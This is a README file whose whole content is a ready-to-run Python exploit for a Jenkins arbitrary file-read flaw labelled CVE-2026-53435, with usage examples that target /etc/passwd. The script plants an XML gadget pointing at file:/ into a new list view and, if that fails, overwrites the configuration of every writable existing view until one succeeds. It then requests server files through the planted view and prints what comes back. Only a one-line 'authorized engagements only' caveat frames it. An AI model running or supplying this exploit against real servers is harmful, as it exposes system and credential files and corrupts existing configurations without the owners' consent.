README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-53435 file-read exploit (v2) -- multi-vector + diagnostics.
For AUTHORIZED engagements only.
The gadget is planted into a DescribableList that does NOT enforce element type
pre-patch, then reached via Stapler routing -> hudson.Plugin.doDynamic serves the
file from baseResourceURL=file:/.
Vectors tried (need one of):
- View/Configure : create a new ListView (or overwrite an existing one) and use
its <properties> (DescribableList<ViewProperty>).
- Item/Configure : overwrite an existing Job's config.xml is NOT used here because
job DescribableLists cast to BuildStep; the View vector is the
reliable one. If the account only has Item perms, see notes.
Usage:
python3 exploit_cve_2026_53435_v2.py <base_url> <user> <pass> <remote_file> [view_name]
python3 exploit_cve_2026_53435_v2.py https://jenkins.internal:8080 test test /etc/passwd
"""
import sys, requests
from requests.auth import HTTPBasicAuth
requests.packages.urllib3.disable_warnings()
GADGET = ('<hudson.Plugin_-DummyImpl>'
'<wrapper class="hudson.PluginWrapper"><baseResourceURL>file:/</baseResourceURL></wrapper>'
'</hudson.Plugin_-DummyImpl>')
def view_xml(name):
return (f"<?xml version='1.1' encoding='UTF-8'?>"
f"<hudson.model.ListView><name>{name}</name>"
f"<properties>{GADGET}</properties>"
f'<jobNames class="tree-set"><comparator class="hudson.util.CaseInsensitiveComparator"/></jobNames>'
f"<jobFilters/><columns/><recurse>false</recurse></hudson.model.ListView>")
def main():
if len(sys.argv) < 5:
print(__doc__); sys.exit(1)
base, user, pw, remote = sys.argv[1:5]
name = sys.argv[5] if len(sys.argv) > 5 else "cve53435"
base = base.rstrip('/')
s = requests.Session(); s.auth = HTTPBasicAuth(user, pw); s.verify = False
# crumb (CSRF) — required on most instances
H = {"Content-Type": "application/xml"}
try:
c = s.get(base + "/crumbIssuer/api/json", timeout=15).json()
H[c["crumbRequestField"]] = c["crumb"]
except Exception:
print("[!] no crumb issuer (or auth failed) — continuing without crumb")
# diagnostics
who = s.get(base + "/whoAmI/api/json", timeout=15)
print(f"[*] authenticated as: {who.json().get('name') if who.ok else '??'} (HTTP {who.status_code})")
# vector A: create a fresh ListView
r = s.post(base + f"/createView?name={name}", data=view_xml(name).encode(), headers=H, timeout=20)
print(f"[*] createView '{name}' -> HTTP {r.status_code}")
if r.status_code not in (200, 302):
# vector B: overwrite an existing view we can configure
print("[*] createView failed; enumerating existing views to overwrite via config.xml ...")
try:
views = [v["name"] for v in s.get(base + "/api/json?tree=views[name]", timeout=15).json().get("views", [])]
except Exception:
views = []
for vn in views:
rr = s.post(base + f"/view/{vn}/config.xml", data=view_xml(vn).encode(), headers=H, timeout=20)
print(f" overwrite view '{vn}' config.xml -> HTTP {rr.status_code}")
if rr.status_code in (200, 302):
name = vn
break
else:
print("[!] no writable view found. Need View/Configure (or another config.xml POST perm). Aborting.")
sys.exit(2)
# trigger: route to the planted gadget; restOfPath is the file under file:/
path = remote.lstrip('/')
r = s.get(base + f"/view/{name}/properties/0/{path}", timeout=20)
print(f"[*] GET /view/{name}/properties/0/{path} -> HTTP {r.status_code}")
print("=" * 60)
print(r.text)
if __name__ == "__main__":
main()